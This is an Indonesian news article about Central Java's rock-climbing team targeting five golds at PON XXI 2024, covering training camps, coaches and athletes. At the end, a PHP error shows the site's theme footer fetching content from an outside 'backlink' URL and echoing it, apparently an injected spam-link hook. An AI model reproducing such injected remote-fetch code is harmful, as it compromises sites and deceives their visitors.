Skip to content Skip to left sidebar Skip to right sidebar Skip to footer

Panjat Tebing Targetkan Lima Emas

SEMARANG – Cabang olahraga panjat tebing ditargetkan bisa menyumbang lima medali emas bagi kontingan Jawa Tengah pada Pekan Olahraga (PON) XXI di Aceh – Sumatera Utara 2024 ini. Hal itu ditegaskan oleh Ketua Pengprov Federasi Panjat Tebing Indonesia (FPTI) Jateng Abdul Hamid SPdI saat menunggui atlet-atletnya berlatih di Jatidiri Semarang, Senin sore.
”Kami optimistis bisa meraih lima medali emas,” katanya.
Awal Mei ini, KONI Jateng secara simbolis memulai Pemusatan Latihan Daerah (Pelatda) PON XXI. Cabang-cabang olahraga prioritas 1 yakni yang ditarget minimal bisa menyumbang minimal tiga medali emas secara serentak memulai Pelatda. Namun KONI secara formal mengawali dengan cabang olahraga panjat tebing di arena FPTI Jatidiri dan pencak silat di GOR Jatidiri.
Hadir di arena FPTI Wakil Ketua Umum II KONI Jateng Soedjatmiko, Kabid Diktar Handoyo, Wakabid Organisasi Ismu Puruhito dan Wakabid Sport Turism Nurkholis.
Adapun yang hadir GOR Jatidiri memonitor pencak silat Wakabid Pembinaan dan Prestasi Agus Raharjo dan Wakabid MSDM Madi. Mereka pun mendapat penjelasan dari Sekum Pengprov IPSI Kuncoro serta pelatih Sigit Infantoro.
”Ya, cabang-cabang olahraga prioritas 1 secara formal memulai Pelatda 1 Mei. Namun karena jadwal yang padat, baru kami bisa melakukan pembukaan secara simbolis hari ini,” kata Soedjatmiko.
Lalu dari nomor saja panjat tebing menargetkan lima emas? Hamid menjelaskan, dua emas dari speed, dua boulder dan satu lead. Atlet yang diandalkan untuk menyumbang ada pada atlet Pelatnas Kiromal Katibin, Alfian Muhammad Fajri, Aditya Tri Syahria, dan Nafatika Asturi yang merupakan atlet prioritas. Mereka kini berlatih keras di Bawah asuhan trio pelatih Krisna Rano, Yoyok Supriyanto, Tri Sundoro serta asisten pelatih Askar Daryanto.
Panjat tebing mem-Pelatda-kan 16 atlet, yakni sesuai jumlah yang lolos babak kualifikasi PON. Namun ada beberapa atlet non-Pelatda yang berlatih dai arena FPTI. ”Meskipun tidak ditarget medali emas, semua atlet Pelatda berjuang untuk meraih hasih yang terbaik. Jadi mereka sangat serius dalam berlatih,” kata Hamid.

Uji Coba
Para atlet berlatih lima hari dalam sepekan, pagi dan sore penuh. Namun ada atlet yang juga menambah Waktu Latihan pada Sabtu. ”Mereka yang merasa kurang, akan menambah Latihan sendiri pada Sabtu. Ini yang membanggakan,” ungkap Ketua Komisi E DPRD Jateng itu.
Di samping Latihan, Hamid menyebut para atlet juga memerlukan uji coba untuk mengukur hasil Latihan. Pihaknya sudah memprogram minimal dua kali try out sebelum beranhgkat ke PON. ”Sekali di sini (Semarang), dan yang kedua ke luar daerah atau kalau mungkin ke luar negeri,” tandasnya.
Jika uji coba di Semarang, dia akan mengundang provinsi-provinsi di Jawa yang merupakan saingan berat seperti Jawa Timur, Jawa barat dan DKI.
Nama-nama atlet Jateng: Kiromal Katibin, Alfian Muhammad Fajri, Aditya Tri Syahria, Nafatika Asturi, Zulkifli Pramudita, Najiha Zahra, Desi Ratna Sari, Bertighna Devi Surya Kusuma, Theresia Putri Aurelia, Ahmad Hafid Robiatturrochim, Afrian Dwisna Zain, Bhetari Toto Dharmawati, Achmad Tegar Prasojo, Arbiyanti Putri Lestari, Ainun Khotinb, Susan Nur Hidayah. (A4)

0 Comments

There are no comments yet

Leave a comment

Your email address will not be published. Required fields are marked *


Warning: file_get_contents(https://backlink.bikinamp.com/jejak.php): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/konijtg/public_html/wp-content/themes/townpress/footer.php on line 3
echo $a; ?>